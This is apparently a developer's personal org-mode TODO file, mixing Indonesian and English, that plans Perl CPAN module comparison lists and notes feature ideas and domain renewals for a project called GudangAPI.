dsb.\n- term::shelly - nonblocking read (which is good) but no tab completion yet,\n  rather useless to me. baru first version, last updated 2004. UI gak compatible\n  dg term::shell family.\n- term::shellkit - lebih utk perl development (ada fungsi seperti require,\n  show_package (utk dump perl package), dll), last updated 2002.\n- term::shell::enhanced - lebih berasa seperti real shell, nambah fitur seperti\n  history file (note: overwrite karena diload dulu semua di awal). tapi terlalu\n  shell-like, kalo nulis sesuatu yang abstrak contoh peri-sh (cd bukan\n  filesystem lokal, dsb) dan hal2 lain yang not really appropriate in all cases\n  like 'eval' to eval perl code, ... i felt like it should be broken into\n  several.\n- term::shell::multicmd - nambah only a couple of things, termasuk support for\n  multiword commands and command history.\n** TODO [2014-06-12 Thu] 2cpanlist:  module which i think are incorrectly named, but it's too late\n- WWW::Curl (and its family), seharusnya Net::Curl or whatever.\n** TODO [2014-06-12 Thu] 2cpanlist:  obsolete modules\n- basically most module with last release date of last decade or older should\n  automatically be in this list\n- contoh: IPChains\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that are \"evil\"\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that are too big and should be broken up\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that are useful but needs to be made faster!\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that replicate (or a reimplementation) of a unix c program\n- that are usually inferior :p\n- ack -> grep, silversearch\n- clio -> socat (kayaknya bukan sih)\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that are an enhanced version of a unix c program/utility\n- nauniq -> uniq\n** TODO [2014-04-04 Fri] 2cpanlist:  unix pain points and its perl remedies\nsome tasks that are surprisingly hard or cumbersome to do using unix standard\ncommand-line utilities like sort, uniq, grep, awk, and sed. of course, we're\nusing perl here which is also a unix toolbox member :)\n\nNOTE: re-read stackoverflow threads utk dapet standard old recipes.\n\n- add lines to file unless it's already there. remedy: nauniq.\n- remove duplicate lines in a file (uniq only removes duplicates that are\n  adjacent). we can use grep remedy: nauniq.\n- ok this is not actually hard, but also a bit cumbersome. exec-if-env,\n  exec-if-not-env.\n- don't repeat a program.\n- subtract lines/records from other file. remedy: setop.\n- find common files from files. ada comm tapi harus sorted. remedy: setop.\n- delete files in the current directory, banyak, can't use wildcard. remedy:\n  rmhere. sebenernya gak sulit, tinggal 'find -type f [-maxdepth 1] -delete',\n  tapi gak ada progress report, padahal bisa lama (puluhan menit jika filenya\n  jutaan).\n- convert absolute path to relative on the command-line. utk rel ke abs sudah\n  ada realpath (pake ini jauh lebih painless daripada resep yg pake\n  find+pwd/readlink/dsb)\n** TODO [2014-03-25 Tue] 2cpanlist:  useful command-line utilities\n- yang gw tulis tentunya :) perlmv, norepeat, exec-if-env?\n** TODO [2014-03-25 Tue] 2cpanlist:  useful command-line utilities which i wrote\n- nauniq\n- norepeat\n- exec-if-env, exec-if-not-env\n** TODO [2014-03-25 Tue] 2cpanlist:  modules that are too trivial\n- or should be grouped with others\n- with due respect to author of course\n- waktu itu kalo gak salah gw liat data-toolkit deh\n** TODO [2014-03-21 Fri] 2cpanlist:  redundant modules\n- okay, this list is going to be endless :p we know cpan is full of redundant\n  stuffs, multiple modules that do the same thing.\n** TODO [2014-03-20 Thu] 2cpanlist:  modules which i think should be in code\n- JSON\n** TODO [2014-03-20 Thu] 2cpanlist:  modules which i think should NOT be in code\n** TODO [2014-03-20 Thu] 2cpanlist:  modules i no longer use\n- Clone::Any sekarang pakenya Data::Clone aja, different clones have different\n  behaviors (lihat cpanratings).\n- YAML::Any also for the same reason, modul2x yang berbeda. lebih baik pilih 1\n  implementation and stick with it.\n** TODO [2014-03-19 Wed] 2cpanlist:  modules i want to rewrite (if i had the time)\n- IPC::Cmd, there is an interface inconsistency between run() and run_forked()\n  (wrote about it in cpanratings). my Proc::Govern is one of the ways my effort\n  for this though they are different to a certain extent.\n** TODO [2014-03-13 Thu] 2cpanlist:  modul2 yang berguna utk debugging (tracing stuffs)\n- tracing syscall : either use strace directly or Devel::Trace:Syscall\n- tracing function calls: ada banyak alternatif:\n  + Debug::LTrace (better/more suitable for me than Devel::Trace, Devel::TraceSubs)\n  + Log::Any::For::Package\n  + Devel::STrace (harusnya mirip strace ceritanya, trace perl function calls, tapi keliatannya gak jalan?)\n  + Devel::TraceCalls (not usable/convenient to use from the command-line)\n- tracing each line of code:\n  + Devel::Trace (print each line source code before statement), or Devel::Trace::More, Devel::Trace::Cwd, dll\n- trace module loading:\n  + Devel::TraceLoad - who loads what\n  + Devel::EndStats\n- stack trace:\n  + - Carp::Always (and its variants)\n** TODO [2014-03-04 Tue] 2cpanlist:  modules yang salah penamaan\n- net:: harusnya www:: ...\n- nama yang lebih cocok, list ini seperti \"I would name this module Y instead of\n  X.\"\n** TODO [2014-03-04 Tue] 2cpanlist:  modules with funny/hilarious names\n** TODO [2014-02-18 Tue] 2cpanlist:  cloning modules\n- Data::Clone - fast\n- Clone::PP - slow, don't bother using except when you need to limit level of\n  deep copying.\n- Storable - core module, some problems ...\n** TODO [2014-02-16 Min] 2cpanlist:  cool unicode-related modules\n- App::Uni\n- Text::Unidecode\n** TODO [2014-02-14 Fri] 2cpanlist:  path languages utk slice & dice data structure\nyang gw pengen cari dan belum nemu: yang menggunakan css selector-like language.\n\n- my use case: cmdline tool utk proses output dan input fungsi\n- JSON::Path: cukup straightforward sintaksnya, seperti js/perl kecuali optional\n  quotes, tapi kalo error syntax saat ini ga dilaporin apa2x cuma hasilnya empty.\n- Data::Path - simpler, works on all perl, minimum dependency, tapi sangat\n  limited features. cuma /foo/bar, /ary[1], that's it. no quoting dll lagi.\n  masih mendingan JSON::Path kayaknya bisa provide array slices.\n- Data::DPath - lower startup than TPath,\n  ini deh (dan utk yang simple uses, JSON::Path). TPath itu doesn't work di\n  5.18, pake Moose (higher startup), 5.12 (or 5.10 ke atas) ...\n\n: /key, /\"quoted key\", /key/.., .\n\n  tidak report syntax error of expression.\n\n- ... XPath\n- Data::Deep: more limited path expression language. tapi ada manipulation\n  function (patching with a series of instruction). i currently don't use it.\n\n  - sintaksnya kayaknya lebih enak dibanding TPath\n\n- TPath (TPath::Forester::Ref): looks quite rich, similar to dpath, pilih hash\n  yang memiliki key or value tertentu, pilih array yang memiliki elemen\n  tertentu. belum lagi gak jalan di perl 5.18 saat ini karena pake\n  Regexp::Grammars. dan kalo dipake utk cmdline tools startup slow...\n\n  - beberapa sintaksnya agak kurang familiar buat gw (mungkin karena kurang\n    examples di synopsis/doc nya).\n  - con: kurang examples di synopsisnya.\n  - con: pake RG (pesan kesalahan sintaks ), but at least it reports syntax\n    error. doesn't work on perl 5.18 due to RG.\n  - con: pake Moose so it's startup heavy\n\n- Tree::XPathEngine, Class::XPath (direfer oleh TPath)\n\n- kesimpulan: utk cmdline gw mendingan pake jq walaupun JSON limited (gak\n  support circular ref, binary, etc). pake C cepet (startup terutama, gw gak\n  harus wait 0.7-1+ secs for each invocation, gara2x moose).\n\n- ironically (?) jq sebenernya yang paling enak jika data kita adalah tabel\n  (array of hashes, atau array of arrays). things like filtering records yang\n  mengandung field dengan nilai tertentu (hash yang mengandung key dengan value\n  tertentu) itu natural dan simpel di jq. pesan errornya juga bagus, ngasih\n  lokasi kesalahan.\n\n- pokoknya di perl semuanya subpar solution menurut gw. rather sad. padahal\n  tpath dsb gitu bisa handle more than json (circular refs, dsb) tapi ada some\n  stuffs yang non-starter or deal-breaker.\n** IDEA [2014-02-08 Sat] 2cpanlist:  module utk wrap text\n- Text::Wrap\n- Text::WrapI18N - interface like TW tapi lebih rapi utk text chi/jap (no\n  whitespace). tapi masih pake Text::CharWidth (which i have some reservations\n  of, see cpanratings).\n- Text::ANSI::Util - ini udah pake Unicode::GCString\n- Text::WideChar::Util - ini udah pake Unicode::GCString. v0.08 masih lebih\n  cepat daripada Text::WrapI18N (791/s vs 478/s). v0.09 speed-nya yang pake\n  chinese detection juga masih sama atau lebih cepat kok, walau terjadi\n  penurunan speed dari v0.08.\n** IDEA [2014-01-28 Tue] 2cpanlist:  CHI vs Cache\n** TODO [2014-01-20 Mon] 2cpanlist:  so you want to create an XS module to interface with C\n- selain XS, ada FFI::Raw\n** TODO [2014-01-15 Wed] 2cpanlist:  acme modules that aren't actually acme\n- Acme::Damn\n** TODO [2014-01-14 Tue] 2cpanlist:  module cmdline utilities: mversion, mpath\n- gw bikin juga mless (mview), medit\n** TODO [2014-01-01 Wed] 2cpanlist:  modules to parse crontab\n- Time::Crontab\n- Pegex::Crontab\n- Parse::Crontab\n- ...\n** TODO [2013-11-20 Rab] 2cpanlist:  modul utk menambah logging trace utk function call\n- Log::Any::For::Package\n- Devel::CallTrace\n- Devel::TraceCalls\n- Devel::Trace::Method\n- Devel::TraceMethods\n** TODO [2013-11-12 Tue] 2cpanlist:  modules to generate random data\n- File::RandomGenerator\n-\n** TODO [2013-11-12 Tue] 2cpanlist:  module utk rename/move files with Perl code\n- App::perlmv\n- rename (prename?)\n- App::mvr\n** TODO [2013-11-12 Tue] 2cpanlist:  module to compare version numbers\n- version: parsing & convert string (dotted decimal) <-> decimal, tapi cuma\n  dotted decimals bisa cover trial version juga karena trial version itu\n  mengikuti rule standar (0.01 -> 0.01_001 -> 0.02). kayaknya pake ini doang\n  juga udah cukup in most cases.\n-\n** TODO [2013-05-16 Thu] 2cpanlist:  template modules\n** TODO [2013-05-16 Thu] 2cpanlist:  interesting template modules\n** TODO [2013-05-16 Thu] 2cpanlist:  compiled data validation modules\n** TODO [2013-05-16 Thu] 2cpanlist:  weirdest modules\n** TODO [2013-05-16 Thu] 2cpanlist:  modules with the weirdest API\n** TODO [2013-05-16 Thu] 2cpanlist:  coolest modules (blah banget deh)\n** TODO [2013-05-16 Thu] 2cpanlist:  dual-version (pureperl + xs) modules\n** TODO [2013-05-16 Thu] 2cpanlist:  buggiest modules?\n** TODO [2013-05-16 Thu] 2cpanlist:  quote operators\n- Quote::Ref (qa, qh) utk create arrayref and hashref\n** TODO [2013-05-16 Thu] 2cpanlist:  modules to format data as text tables\n- Text::ANSITable\n- Text::UnicodeTable::Simple\n- Text::Table\n- Text::ASCIITable\n- ...\n** TODO [2013-05-17 Fri] 2cpanlist:  modules which plays on -M or -m\n: -Moose\n: -Mylib\n: -ML ?\n** TODO [2013-05-17 Fri] 2cpanlist:  modules which is a play on the word 'use XXX'\n** TODO [2013-05-17 Fri] 2cpanlist:  modules which play on the term 'no XXX'\n: no thanks\n: more?\n: No::Worries\n** TODO [2013-05-17 Fri] 2cpanlist:  modules that are related to git\n** TODO [2013-05-17 Fri] 2cpanlist:  modules that are related to INI files\n** TODO [2013-06-26 Wed] 2cpanlist:  image processing modules:\n- Image::Magick\n- Imager - faster (10x) than image magick but perl library so unavailable in\n  other languages?\n- refer to: http://blogs.perl.org/users/jt_smith/2013/06/imager-from-imagemagick-trial-run.html\n** TODO [2013-06-26 Wed] 2cpanlist:  image creation modules:\n- Image::Magick\n- Imager\n** TODO [2013-06-27 Thu] 2cpanlist:  mail stuffs\n- plain text\n- html\n- webpage (html + embedded emails), like getweb/agora services which i used to\n  use back in 1996. [nemunya harus dengan keyword seperti \"mime html\", gak bisa\n  \"mail webpage\"]. MIME::Lite::HTML.\n- files as attachment\n- big files, split\n- encrypted stuffs?\n- ...\n** TODO [2013-07-04 Thu] 2cpanlist:  filesystem change notification\n- Filesys-Notify-Simple - interfacenya simpel, tapi kadang terlalu simpel dan\n  mungkin API gak cocok jika kita hanya ingin ngecek mis apakah sebuah dir\n  changed (if \$changed ...) karena pake wait(sub {}) dan blocks. gak ada yg\n  kayak di F::CN (\@ev = \$watcher->new_events).\n\n  kayaknya dia di linux pake inotify, trus utk tiap dir dia akan recurse dan\n  create watcher. akibatnya bisa lama start-nya karena dia walk fs dulu.\n\n  utk timeout, kita bisa wrap dengan alarm. jangna pake alarm 1 detik kurang, at\n  least 3 detik.\n\n- File-ChangeNotify (\"moose-infected garbage\", 0.16s overhead, 33k files)\n- OS-specific: Linux::Inotify2, Mac::FSEvents, Filesys::Notify::KQueue,\n  Win32::ChangeNotify. kqueue vs inotify? kqueue di BSD family, inotify lebih\n  baru dan linux specific. tapi inotify gak bisa recursive watch subdir (hanya 1\n  level).\n\n  btw linux juga punya epoll, bisa utk watch any fd, sementara inotify hanya utk\n  filesystem. tapi inotify jadi bisa monitor file attribute change, file being\n  read, etc.\n** TODO [2013-07-11 Thu] 2cpanlist:  code to find cycles\n- Devel::Cycle\n- SHARYANTO::Data::Util - don't use :) faster than Devel::Cycle but use ...\n- Data::Structure::Util\n** IDEA [2015-03-01 Min] 2cpanl: modules which are fork\n** IDEA [2015-03-01 Min] 2cpanl: modules which are fork and pending merge\n- contoh: LWP::Protocol::http::SocketUnixAlt\n** IDEA [2015-02-25 Wed] 2cpanl: modules which put a coderef/hook in \@INC\n- tapi kayaknya di luar scope. kita harus call the coderef and the coderef\n  doesn't return the path but file contents instead. we could save the file\n  contents to a temp file and return the path to that file but the usefulness of\n  that is dubious at best. plus this opens up a whole new level of complexity.\n** IDEA [2015-01-08 Thu] 2cpanl: modules to create your own CPAN-like repo\n- Pinto\n- OrePAN, OrePAN2 (just start with an empty dir ...)\n** IDEA [2015-01-08 Thu] 2cpanl: modules to index your local CPAN\n- XPAN::Query (just utilizing 02packages.details.txt.gz)\n- CPANDB::Generator, tapi ini too big for local dev purposes, it will donwload\n  upload data, cpan testers data (big! 1.9GB+ at the time of this writing\n  2015-01-08), ratings, etc. if you just need list of packages, authors, ... and\n  deps info this is overkill. generating needs hours and GB+ of bandwidth.\n- CPAN::Index::API (they deal with traditional/canonical\n  02packages.details.txt.gz, modlist, but these are not quickly searchable index\n  though)\n- CPAN::SQLite -> recommended!\n** IDEA [2015-01-08 Thu] 2cpanl: modules to create your own local cpan mirror\n- CPAN::Mini\n- (TODO) my own wrapper/turnkey solution that packages CPAN::Mini with CPANDB::Generator ...\n** IDEA [2014-10-07 Tue] 2cpl all modules that do rsync backup. bagian dari seri all mkdules ...\n** IDEA [2014-10-07 Tue] 2cpl the best ordered hash implementation\n** IDEA [2014-08-27 Wed] 2cpanl faster, more lightweight alternatives to popular modules: datetime time::moment, moose moo or mo, ...\n** IDEA [2014-08-27 Wed] 2cpanl modules i'd name differently: race::condition (liat nama fungsiny)\n** IDEA [2014-08-27 Wed] 2cpanl comparison of various modules to do date/time. Datetime shpuld be first choice, its correct, featureful... alternatif: ...\n** TODO [2015-01-06 Tue] 2cpanl: how to highlight *perl* source code?\nis it still a pain to do this?\n** TODO [2015-01-06 Tue] 2cpanl: displaying stack trace\n- Carp::Always: warn+die\n- Devel::Confess: recommended. it's like Carp::Always + Carp::Always::Color +\n  Carp::Always::Dump + ... bisa die aja yg pake stack trace, bisa color, bisa\n  dump arguments (with customized level), bisa include snippet of source code.\n** TODO [2014-12-03 Wed] 2cpanl: reading a file backwarda. mention about 'tac' (unix util)\n** TODO [2014-12-03 Wed] 2cpanl: include task::kensho as a list. include mstpan articles.\n** TODO [2014-12-19 Jum] 2cpanl: module utk detect its environment it runs on: os, platform, linux dist, etc.\n** TODO [2014-11-10 Mon] 2cpanlist: utility (cli) yg gw pake saat develop perl\n- cpanm\n- perlbrew\n- dzil\n- perldoc\n- perl\n- prove\n\nbelum:\n- perltidy\n** TODO [2014-10-15 Rab] 2cpanlist: module2x yg berhubungan dengan org document\n** TODO [2014-10-15 Rab] 2cpanlist: module2x yg berhubungan dengan opera\n- Bookmarks::Opera\n- App::ConvertOperaBookmarksToOrg\n** TODO [2014-10-15 Rab] 2cpanlist: module2x yg berhubungan dengan firefox\n** TODO [2014-10-15 Rab] 2cpanlist: module2x yg berhubungan dengan google chrome\n** TODO [2014-09-02 Tue] 2cpanlist: reinvent the wheel\n- daftar modul yg reinvent (without apparent new stuffs or being better or solve\n  a new/different problem). this list is not meant to put down authors of such\n  reinventing modules, but to encourage people to reuse existing\n  modules/solutions instead of blindly recreating the same stuffs without prior\n  research. i believe this will also help users and authors.\n- bisa dibagi ke dalam beberapa list.\n** TODO [2014-08-08 Jum] 2cpanlist: favorite games on CPAN\n** TODO [2014-08-08 Jum] 2cpanlist: list of readily played (text) games\n- karena gak semua modul di Games:: itu berisi readily playable games. by that,\n  i mean it includes an executable that we can just invoke, instead of having to\n  create another perl script to instantiate the class etc.\n** TODO [2014-08-08 Jum] 2cpanlist: list of readily played (graphics) games\n- karena gak semua modul di Games:: itu berisi readily playable games\n** TODO [2014-08-08 Jum] 2cpanlist: list of readily played (web-based) games\n- karena gak semua modul di Games:: itu berisi readily playable games\n** TODO [2014-07-20 Min] 2cpanlist: wrongly named modules, unclear module names\n- Text::Markdown (dan script-nya Markdown.pl, dan nama fungsinya markdown()).\n  apa ini, parse markdown to? from? bandingkan dg Pod::Markdown, Markdown::Pod.\n  menurut gw lebih jelas ya Markdown::To::... Pod::To::HTML, etc.\n** TODO [2014-07-16 Wed] 2cpanlist: modules that have screenshots/images in the POD\n- Text::ANSITable\n- Alien::AntTweakBar\n** TODO [2014-07-11 Fri] 2cpanlist: module2 yg gak gw perlukan (saat ini) dan alternatif non-perl-module solution (private? menyinggung?)\n- Config::Cmd - nyimpen command + args di yaml config file, supaya bisa\n  diexecute dg something like 'configcmd subcmd', bisa dideploy ke berbagai\n  mesin. gw lebih prefer pake shell alias atau function atau scripts aja,\n  ditaruh di git repo, dan deploy lewat rsync or ansible or whatever.\n** TODO [2014-07-06 Min] 2cpanlist: modules to do easy concurrency\n- i wish we had something like go's goroutines, but oh well..\n** TODO [2014-06-25 Wed] 2cpanlist: modules to prevent multiple running process\n- Sys::RunAlone\n- App::single\n- Proc::PID::File (by doing die if Proc::PID::File->running)\n- Proc::Govern (TODO, currently not yet)\n** TODO [2014-06-25 Wed] 2cpanlist: modules that let you use/load modules automatically upon first use\n- L\n- Class::AutoUse\n- lib::xi\n** TODO [2014-06-25 Wed] 2cpanlist: (bekas Task-BeLike-SHARYANTO-Apps)\n** TODO [2014-06-25 Wed] 2cpanlist: (bekas Task-BeLike-SHARYANTO-Devel) devel tool yg gw pake\n- perlbrew\n- cpanminus\n- cpan-listchanges\n- minicpan\n- dist zilla\n- module::corelist\n- App::perlfind\n** TODO [2014-06-25 Wed] 2cpanlist: my debugging toolbox\n- App::plstrace\n- Devel::EndStats\n- Devel::NYTProf of course\n- Carp::Always (Carp::Always::Color, ...)\n- Log::Any::For::* (DBI, LWP), Log::Any::\n- ...\n- Devel::Trace? Devel::Trace::More (ekstrem)\n- Devel::hdb (kalo butuh watch variables sambil melacak alur program)\n- Variable::Watcher\n\n- di luar perl: strace, dtrace\n** TODO [2014-06-12 Thu] 2cpanlist: cute (cool) tricks\n- Hash::Identity, though I fail to see the point of Tie::Hash::Identity. but it\n  borders on being useless, because rather than:\n\n: use Hash::Identity qw(e);\n: print \"The result is \$e{ 1+2 }\\n\";\n\nyou can just say:\n\n: print \"The result is \${\\( 1+2 )}\\n\";\n\nsome extra parentheses plus backslash vs having to depend on a non-core module\nand make reader raise their eyebrow when seeing the expression (because i bet\npeople will use different vars for the \$e). don't bother. a cooler module would\nbe to enable perl6-like interpolation:\n\n: \"can perl #{ 6-1 } do this too?\"\n\n** TODO [2014-06-06 Fri] 2cpanlist: modul utk unbless references\n- Data::Structure::Util (XS)\n- Acme::Damn (XS)\n- Function::Fallback::CoreOrPP (PP, tapi ini create shallow copy)\n** TODO [2014-06-06 Fri] 2cpanlist: modul2x interface ke third party (website) yg udah gak jalan/out of date\n- public list, bisa diadd dan diremove sama module authors dan/atau user\n- enaknya sih gini: sembarang user bisa add module, tapi hanya module author yg\n  bisa remove ini dari list.\n** TODO [2014-05-30 Fri] 2cpanlist: public list berisi daftar modul yang belum mengikuti CPAN::Changes convention\n- contoh: Validation::Class dan modul2x Al Newkirk lainnya.\n- bisa jadi todo list buat orang2x tertentu yg kerjaannya suka beres2xin modul\n  orang. list ini bisa dimodif oleh orang2x tsb spt NEILB, TOBYINK(?), dsb.\n** TODO [2014-05-13 Tue] 2cpanlist: modul yang menggunakan tied variable yang bisa digunakan utk do stuffs tapi locally\n- File::chdir (\$CWD)\n- Locale::Tie (\$LANG, ...) by me\n** TODO [2014-05-13 Tue] 2cpanlist: lexically-/locally-scoped things (apply stuffs lexically or locally)\n- Locale::Scope (menggunakan variabel gini menurut gw agak awkward, karena harus\n  menggunakan my \$blah = locale_scope() lalu nanti efeknya berakhir jika \$blah\n  gets out of scope)\n- Locale::Tie (mine, \$LANG, ...)\n- search: modul2x yang pakai Scope::Guard\n- tainting\n- Umask::Local\n- File::umask (mine, \$UMASK)\n- File::chdir (\$CWD)\n** TODO [2014-05-12 Mon] 2cpanlist: modules with weird,peculiar API?\n- String::Tools - function names chosen is too similar with perl: subst\n  (substr), define (defined). trim is *not* more intuitive to me compared to\n  join().\n** TODO [2014-05-01 Thu] 2cpanlist: modules i'm keeping my eye for (yang lagi didevelop/belum ready tapi rooting for, punya big hopes for)\n- Tickit\n- Marpa::R2? (sebenernya ini udah ready kan?)\n** TODO [2014-05-01 Thu] 2cpanlist: projects/modules i'm backing on gittip\nkalo gw disuruh ngesupport, gw pilih:\n- Tickit: gw pengen modul ini sukses dan jadi pengganti curses widget.\n- Marpa::R2\n\nkalo gw disuruh ngesupport orang:\n- leonerd, karena dia develop tickit\n-\n** TODO [2014-04-09 Rab] 2cpanlist: modul2x utk bikin graph\n** TODO [2014-04-09 Rab] 2cpanlist: modul2x utk bikin graph di mode teks\n** TODO [2014-04-03 Kam] 2cpanlist (template): blacklisted modules\n* proj/dev [1/3]\n** DONE [2014-12-14 Sun] make sure all non-CPAN dist.ini have copyright notice\n- i.e. pastikan ini kosong:\n: list-my-perl-dist-repos --nohas-copyright --nocpan\n- log ::\n  + [2014-12-14 Sun] done, bikin skrip insert-copyright-parameter-in-dist-ini-to-all-my-noncpan-perl-dists\n** CANCELLED [2014-07-11 Fri] ikutan meetup functional programming languages (ada ya?)\nhttp://www.meetup.com/Lambda-Jakarta/\n\nmembernya ada 100. selain itu ada meetup New In Town, Jakarta Startup Founder,\ndan beberapa yang lain.\n** TODO [2014-07-17 Thu] ikutan meetup technical di jakarta (ada startup, bahasa2, ...)\n** IDEA [2014-07-11 Fri] reimplement Text::ANSITable in a faster language (d?)\ngw pengen ANSITable yang 10-100x lebih cepat dari yang sekarang. setelah itu\nbisa dipake dari perl.\n* proj/etc [0/0]\n** IDEA [2013-03-07 Thu] scanner utk bon2x (lewat hp) mis belanja di giant, travel, atm, dsb\n- gapi/proyek baru\n- langsung masuk ke database\n- sebagai pelengkap\n** TODO [2013-11-06 Rab] priv-organizer: more details for count-my-todos\n- add +- sekian %\n- breakdown by?\n- umur rata2x?\n- {hari,minggu,bulan,tahun} ini create berapa todo, solve berapa?\n- DONE [2013-11-07 Thu] i've done the simplest thing, just log total/total\n  done/total undone. sisanya nanti\n** IDEA [2013-09-09 Mon] push some of my private repos to an encrypted remote server, for convenience when working between computers\n- mungkin nanti di rumah setrawangi ada private LAN (wifi) jadi gak perlu.\n- kenapa di kantor gak gitu juga? masalahnya netbook cuma pake wifi.\n- perhatiakn security, sedikit inconvenience gpp lah daripada ga aman.\n** DONE IDEA [2014-08-27 Wed] ide website or twitter account: trsnslation mistake. contoh bbc knowledge indov 24agu 10.30 trenggiling pdhl bukan.\n- log ::\n  + [2015-03-03 ] done: transalahsi\n* proj/gudangapi [1/26]\n** TODO [2012-04-06 Fri] ga/akunweb: di daftar transaksi, deskripsi sudah langsung kita ganti dg versi parsed yg lebih teratur/cantik, biar klien enak liatnya\n\nada logo bca.\n\nso instead of this:\n\n: TRSF E-BANKING CR TANGGAL :01/04 01/04 WSID:19641 PURNAWAN ARIYANTO\n\nclient see this (dengan tabel biar aligned, lalu dengan warna2x atau icon kalo\nperlu):\n\n: metode                      : transfer atm (ada icon atm kali?)\n: tgl transaksi               : 1 April 2012\n: tgl pembukuan               : 1 April 2012\n: kode validasi whatever      : 19641\n: nama pengirim               : Purnawan Ariyanto (case bisa diadjust? link ke klien? typo bisa dibenarkan dan diguess klien yg mana?)\n: (jika beda) klien           : PT Maju Mundur\n: (jika ada) catatan pengirim : Pembayaran inv #923283 (sudah direwording, whatever)\n\nkalo klien klik [v] icon mentah, baru dikasih liat. mirip2x di gmail kali ya.\n\ncontoh lain, instead of this:\n\n: TRSF E-BANKING CR 0204/FTSCY/WS95011 97350.00 utk pemb due date 12042012 IWAN ROBERTUS BUDI\n\nwe display this:\n\n: metode                 : transfer atm nontunai (atau internet banking)\n: tgl                    : 2 April 2012 (karena pembukuan dan transaksi sama?)\n: nama pengirim          : Irawan Robertus Budi\n: catatan pengirim       : utk pemb due date 12042012\n\n** TODO [2013-12-20 Fri] finish first PoC of GudangAPI::Perinci::Access\n- log ::\n  + [2014-10-21 Sel] kayaknya sekarang gak usah? dari sisi klien cukup pake\n    'riap' shell atau standard Perinci::Access::* client libraries, sementara\n    dari sisi server seperti biasa pake plack app. tapi nanti bikin cli khusus\n    gudangapi (diberi nama 'ga' atau 'gapi') yang bisa lebih spesifik (ada di\n    todo item lain).\n** TODO perpanjang domain gudangapi.com <2019-05-18 Aaa +5y -6m>     :domain:\n- mulai diregister [2012-03-23 Fri], mau agak melepaskan diri dari\n  \"masterweb.net\" ah biar image gw gak terlalu melekat dan gw bisa ke proyek2x\n  lainnya. ungkapan kekesalan aja sih, gw terlalu lama membela nama masterweb\n  tapi gw cuma dapet separuh sementara sisanya (dhiar) jarang banget ngapa2in.\n- [2013-01-22 Tue] udah gw transfer ke luar mwn, ke gkg\n- [2013-08-31 Sat] perpanjang 5th\n** TODO perpanjang domain gudangapi.org  <2019-11-24 Aaa +5y -6m>    :domain:\n- [2011-11-24 Thu] beli aja deh sekalian\n- [2013-08-31 Sat] perpanjang 5th\n** TODO perpanjang domain gudangdata.org  <2015-07-11 Aaa +5y -6m>   :domain:\n- [2012-07-11 Wed] beli aja deh sekalian, gudangdata.com sudah diambil orang\n  btw. yang .net dan .info masih ada tapi gak gw ambil.\n** IDEA [2012-02-05 Sun] forum: hanya kirim notifikasi reply jika user tidak sedang logged on di website\n** TODO [2012-01-23 Mon] the minimal version to publish should have:\n- some useful, often-used functions\n  + daftar propinsi, kota/kab, kecamatan\n  + kurs dolar\n  + daftar hari libur\n  +\n- some trivial functions for testing\n  + terbilang / dari_terbilang\n  +\n- (?) php client\n- (?) javascript client\n  + at least some examples on how to create {registration,whatever} forms\n    utilizing propinsi, kota, kecamatan\n  + x\n- (?) forum? qa? ask? comment? some kind of user comment\n- mark as favorite (disamain aja sama follow/subscribe, a la twitter) (soal\n  changes/updates/news-nya bisa nyusul)\n- jalan under Apache dulu aja\n- search\n** TODO [2012-01-23 Mon] nice to haves\n- https\n** TODO [2012-01-23 Mon] yang gak perlu dulu\n- auth/paid, limit per days\n- https?\n- user-defined/-uploaded functions\n** TODO [2012-01-23 Mon] minimal Borang\n- bisa fill form on error\n- nice if can do ajax\n** IDEA [2012-01-31 Tue] icon2x yang berhubungan dengan api\n- mis: lilin, api unggun, senjata\n- lilin utk notifikasi/poin2x penting\n- gedung kebakaran or whatever utk error message\n- atau cukup mainkan di warna aja, iconnya cuma lilin doang\n- dari icon dingbats ada (tema holiday, xmas, halloween, night)\n** TODO [2012-02-16 Thu] create: Riap::TCP server berbasis php\n** TODO [2012-02-16 Thu] create: Perinci::Access::DB\n- kalo nanti ga udah jadi lebih gede\n- daftar modul/entiti dan metadata disimpan di database\n- ga semua perl-based, ada yang php juga\n- contoh:\n\n: gudangapi.com/ga/tax.id.npwp/validate_npwp\n\n~tax.id.npwp~ dilookup dulu di tabel modul. ~validate_npwp~ juga dicari di tabel\nfunction. hasilnya adalah dipoint ke GudangAPI::GA::tax::id::npwp fungsi\nvalidate_npwp. metadata juga sudah disimpan di tabel metadata.\n\njika berbasis perl dan trusted, bisa langsung require modulnya.\n\njika berbasis perl dan untrusted (punya klien 'hosting'), bisa start another\nprocess (like a fcgi server) if not started already dan speak Riap::TCP against\nit.\n\n** IDEA [2014-03-29 Sab] improve experience of browsing via curl\nof course, browsing via App::riap is better, but curl is widely deployed.\n\ncontoh screenshot (nanti pake bahasa indo juga ya utamanya):\n: % curl gudangapi.com\n: Welcome to GudangAPI!\n:\n: List of popular functions:\n: * gudangapi.com/ga/parse_npwp  Mengecek format NPWP\n: * gudangapi.com/ga/terbilang   Mengubah '123' menjadi 'seratus dua puluh tiga'\n: * gudangapi.com/ga/\n:\n: To browse function:\n:\n: To call a function:\n:\n** TODO [2013-09-05 Thu] use periai's {allow,deny}_paths for security\n** TODO [2012-04-23 Mon] sah: generate js code\n** TODO [2012-04-23 Mon] sah: generate human\n** TODO [2012-05-03 Thu] sah: document: latest syntax for if\n: if => [type_type => val, action_type => val]\ncontoh:\n\n: if => [expr => 'len(\$data) > 2', cset => {match=>'/^\\d+\$/'}]\n: if => [cset => ..., csets => [{...}, ...]]\n: if => [...]\n\nelem_deps dll bisa diganti dengan if.\n** TODO rf: define fields\n: \$form = { fields => [ ... ], ... }\n** TODO rf: define pages\n- selain langsung di fields, kita juga bisa define pages?\n: \$form = { pages => [ { fields => [ ... ] }, ... ], ... }\n** TODO basic webapp\n** TODO search\n** TODO basic JSON->HTML templating\n** TODO adjust Perinci-Access-HTTP-Server\n- peria patch: add action help utk generate html help\n- where to insert JSON->HTML templating for graphical web browsers\n** TODO siapkan sejumlah fungsi utk demo awal\n- kalender hari libur indonesia\n- daftar propinsi indo\n- daftar kota/kabup indo\n- validate npwp, sim, ktp, pbb\n- terbilang & kebalikan\n- parse phone number? (kotanya masih berantakan)\n- kurs dolar?\n- (TODO) parse/display structure of npwp,\n** TODO umumkan gudangapi (yeah!!! party!!!)\n- milis id-php\n- milis id-data\n- milis id-perl (client Perl)\n- twitter\n- blog id-perl?\n- my blog??\n** FIXED [2014-03-29 Sab] gepok: 